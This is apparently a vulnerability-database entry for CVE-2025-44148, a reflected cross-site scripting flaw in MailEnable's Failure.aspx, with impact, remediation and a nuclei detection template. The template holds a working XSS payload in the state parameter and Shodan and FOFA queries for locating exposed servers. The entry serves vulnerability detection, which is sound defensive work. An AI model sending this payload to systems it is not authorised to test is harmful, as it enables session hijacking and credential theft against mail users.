Browse / CVEs / CVE-2025-44148
CVE-2025-44148· CWE-79
MailEnable Mail Service < v10 - Cross-Site Scripting
mediumseverity
5.4CVSS score
55.3%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it
Cross Site Scripting (XSS) vulnerability in MailEnable before v10 allows a remote attacker to execute arbitrary code via the failure.aspx component.
Impact
Attackers can execute arbitrary JavaScript in victim browsers through the state parameter in failure.aspx, potentially leading to session hijacking and credential theft.
Fix
Upgrade to MailEnable version 10 or later that properly sanitizes user input in the failure.aspx component.
How to confirm it
Send: GET /Mondo/lang/sys/Failure.aspx?state=19753%22;}alert(document.domain);function%20test(){%22
Positive when: contains "}alert(document.domain);function test" and "Authentication Failed" AND contains in content_type "text/html" AND status 200Run it with nuclei: nuclei -id CVE-2025-44148 -u <target>
The full check
id: CVE-2025-44148
info:
name: MailEnable Mail Service < v10 - Cross-Site Scripting
author: ritikchaddha
severity: medium
description: |
Cross Site Scripting (XSS) vulnerability in MailEnable before v10 allows a remote attacker to execute arbitrary code via the failure.aspx component.
impact: |
Attackers can execute arbitrary JavaScript in victim browsers through the state parameter in failure.aspx, potentially leading to session hijacking and credential theft.
remediation: |
Upgrade to MailEnable version 10 or later that properly sanitizes user input in the failure.aspx component.
reference:
- https://github.com/barisbaydur/CVE-2025-44148
- https://nvd.nist.gov/vuln/detail/CVE-2025-44148
classification:
epss-score: 0.55317
epss-percentile: 0.99038
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 5.4
cve-id: CVE-2025-44148
cwe-id: CWE-79
metadata:
verified: true
max-request: 1
shodan-query: title:"MailEnable"
fofa-query: title="MailEnable"
tags: cve,cve2025,xss,mailenable,vuln
http:
- raw:
- |
GET /Mondo/lang/sys/Failure.aspx?state=19753%22;}alert(document.domain);function%20test(){%22 HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- '}alert(document.domain);function test'
- 'Authentication Failed'
condition: and
case-insensitive: true
- type: word
part: content_type
words:
- 'text/html'
- type: status
status:
- 200References
Use this check only on systems you are authorised to test. Where the data comes from